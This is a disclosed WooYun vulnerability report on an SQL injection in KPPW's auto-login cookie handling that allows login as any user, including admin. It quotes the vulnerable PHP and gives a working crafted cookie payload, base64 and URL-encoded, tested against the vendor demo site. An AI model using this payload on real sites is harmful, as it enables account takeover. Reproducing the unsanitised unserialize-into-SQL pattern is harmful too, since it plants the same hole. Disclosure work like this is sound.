当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0131525

漏洞标题:kppw最新版任意用户登录

相关厂商:keke.com

漏洞作者: 路人甲

提交时间:2015-08-04 18:41

修复时间:2015-11-03 20:04

公开时间:2015-11-03 20:04

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-04: 细节已通知厂商并且等待厂商处理中
2015-08-05: 厂商已经确认,细节仅向厂商公开
2015-08-08: 细节向第三方安全合作伙伴开放
2015-09-29: 细节向核心白帽子及相关领域专家公开
2015-10-09: 细节向普通白帽子公开
2015-10-19: 细节向实习白帽子公开
2015-11-03: 细节向公众公开

简要描述:

只需要用户名和用户id即可实现任意用户登录

详细说明:

问题出在 lib/inc/keke_core_class.php function init_user() 第981行

elseif ($_COOKIE ['keke_auto_login']) {
$loginInfo = unserialize ( $_COOKIE ['keke_auto_login'] );
$pwdInfo = explode ( '|', base64_decode ( $loginInfo [2] ) );
$uInfo = kekezu::get_table_data ( '*', 'witkey_space', " username='$pwdInfo[2]' and password = '$pwdInfo[1]'", '', '' );
if ($uInfo [0] ['uid'] == $pwdInfo [0]) {
$_SESSION ['uid'] = $uInfo [0] ['uid'];
$_SESSION ['username'] = $uInfo [0] ['username'];
$this->_uid = $_SESSION ['uid'];
$this->_username = $uInfo [0] ['username'];
}
}


$uInfo = kekezu::get_table_data ( '*', 'witkey_space', " username='$pwdInfo[2]' and password = '$pwdInfo[1]'", '', '' );
此处两个变量都来自$pwdInfo
$pwdInfo = explode ( '|', base64_decode ( $loginInfo [2] ) );
继续跟进
$loginInfo = unserialize ( $_COOKIE ['keke_auto_login'] );
全程无安全处理,现在来看看$_COOKIE['keke_auto_login']的格式
正常情况下在登录处勾选记住我

9~N)FIYE$AX4}E9%{(]T81D.png


N{ZX`$%`A$~@]D9(XW`2[LH.png


即autoLogin=1

就会生成$_COOKIE['keke_auto_login'],格式如下:

US}XL]UGBG0@W@MP(ESL9A1.jpg


keke_auto_login=a%3A3%3A%7Bi%3A0%3Bs%3A4%3A%22MTA%3D%22%3Bi%3A1%3Bs%3A8%3A%22cXdlcnR5%22%3Bi%3A2%3Bs%3A56%3A%22MTB8ZDg1NzhlZGY4NDU4Y2UwNmZiYzViYjc2YTU4YzVjYTR8cXdlcnR5%22%3B%7D
unserialize后为
array (size=3)
0 => string 'MTA=' (length=4)
1 => string 'cXdlcnR5' (length=8)
2 => string 'MTB8ZDg1NzhlZGY4NDU4Y2UwNmZiYzViYjc2YTU4YzVjYTR8cXdlcnR5' (length=56)
将MTB8ZDg1NzhlZGY4NDU4Y2UwNmZiYzViYjc2YTU4YzVjYTR8cXdlcnR5进行base64解码得
10|d8578edf8458ce06fbc5bb76a58c5ca4|qwerty
即uid,md5后的password,用户名
此处并没有做任何判断
拿官网demo演示
首先如上取字符串,替换id,和用户名
1|d8578edf8458ce06fbc5bb76a58c5ca4|admin' and 1=1 or '1'='1
base64编码
MXxkODU3OGVkZjg0NThjZTA2ZmJjNWJiNzZhNThjNWNhNHxhZG1pbicgYW5kIDE9MSBvciAnMSc9JzE=
再填充进序列化后的数组
array (size=3)
0 => string 'MTA=' (length=4)
1 => string 'cXdlcnR5' (length=8)
2 => string 'MXxkODU3OGVkZjg0NThjZTA2ZmJjNWJiNzZhNThjNWNhNHxhZG1pbicgYW5kIDE9MSBvciAnMSc9JzE=’ (length=80)
进行url编码后得
keke_auto_login=a%3A3%3A%7Bi%3A0%3Bs%3A4%3A%22MTA%3D%22%3Bi%3A1%3Bs%3A8%3A%22cXdlcnR5%22%3Bi%3A2%3Bs%3A80%3A%22MXxkODU3OGVkZjg0NThjZTA2ZmJjNWJiNzZhNThjNWNhNHxhZG1pbicgYW5kIDE9MSBvciAnMSc9JzE=%22%3B%7D
将其加入cookies直接请求http://demo.kppw.cn/index.php?do=login

7SK[53T_ACZU{U0_80HTU[7.png


DVHPGSJ4$}NMB)@}TS{3W3A.png


漏洞证明:

如上。。。。

修复方案:

验证传入参数。。。

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:16

确认时间:2015-08-05 20:02

厂商回复:

谢谢提供有价值漏洞

最新状态:

暂无